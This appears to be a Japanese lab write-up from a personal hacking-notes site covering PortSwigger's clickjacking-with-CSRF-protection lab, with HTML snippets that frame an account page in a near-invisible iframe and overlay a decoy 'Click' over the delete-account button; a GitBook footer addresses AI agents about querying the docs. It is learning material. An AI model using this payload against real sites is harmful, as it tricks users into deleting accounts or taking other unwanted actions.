> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ja/web/clickjacking/basic-clickjacking-with-csrf-protection.md).

# CSRF保護付きの基本的なクリックジャッキング

PortSwigger Web Security Academy のラボ向けメモ。CSRF保護付きの基本的なクリックジャッキングに関するもので、攻撃手順、ペイロードのテスト、Burp Suite による検証、および対策の文脈を含む。

### CSRFトークン保護付きの基本的なクリックジャッキング

このラボには接続機能と、a で保護されたアカウント削除ボタンがあります **CRFトークン**。／目的は、ユーザーに誘導サイト上の「Click」と表示された項目をクリックさせ、彼のアカウントを削除することです。

**提供された認証情報：**

* wiener : peter

アカウントページには、次の機能があります **アカウントを削除**.

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-b59cc7809dd6525f82c3392758b6c3d2cb80f00d%2Fimage%20(359).png?alt=media" alt=""><figcaption></figcaption></figure>

アイデアは、ある **`<iframe>`** タグを使ってこのページを自分のサイトに埋め込み、適切な場所をクリックさせてユーザーをだますことです。

```html
<style>
iframe{
width: 500px;
height: 600px;
}
</style>
<iframe src ="https://0aff004103a38073e5623c7500bd0041.web-security-academy.net/my-account"</iframe>
```

この手順により、対象ページを自分のサイトに表示できます。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-5aa01982aa4144437fbfde75d2a805fa3f4b84d4%2Fimage%20(360).png?alt=media" alt=""><figcaption></figcaption></figure>

誤解を招くテキスト（"Click"）をちょうど *アカウントを削除* ボタンの上に配置します:

```html
<style>
iframe{
width: 500px;
height: 600px;
}
div{
position: relative;
top: 505px;
left: 70px;
}

</style>
<div>Click</div>
<iframe src ="https://0aff004103a38073e5623c7500bd0041.web-security-academy.net/my-account"</iframe>
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-d05052f2fa08ab18507f8e82a34e1bbf285f23e8%2Fimage%20(361).png?alt=media" alt=""><figcaption></figcaption></figure>

被害者に実際のインターフェースを見せないために、 **透明度** は次のように下げます:

```html
<style>
iframe{
width: 500px;
height: 600px;
opacity: 0.01;
}
div{
position: relative;
top: 505px;
left: 70px;
}

</style>
<div>Click</div>
<iframe src ="https://0aff004103a38073e5623c7500bd0041.web-security-academy.net/my-account"</iframe>
```

ページ下部が表示されない場合、おそらく `frameborder="0"` パラメータ、またはサイトのセキュリティポリシーが原因です。／表示は次のように調整できます:

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-fc6c0e5e0ca3b4f2e72b54c03819370bdeb50539%2Fimage%20(362).png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/ja/web/clickjacking/basic-clickjacking-with-csrf-protection.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
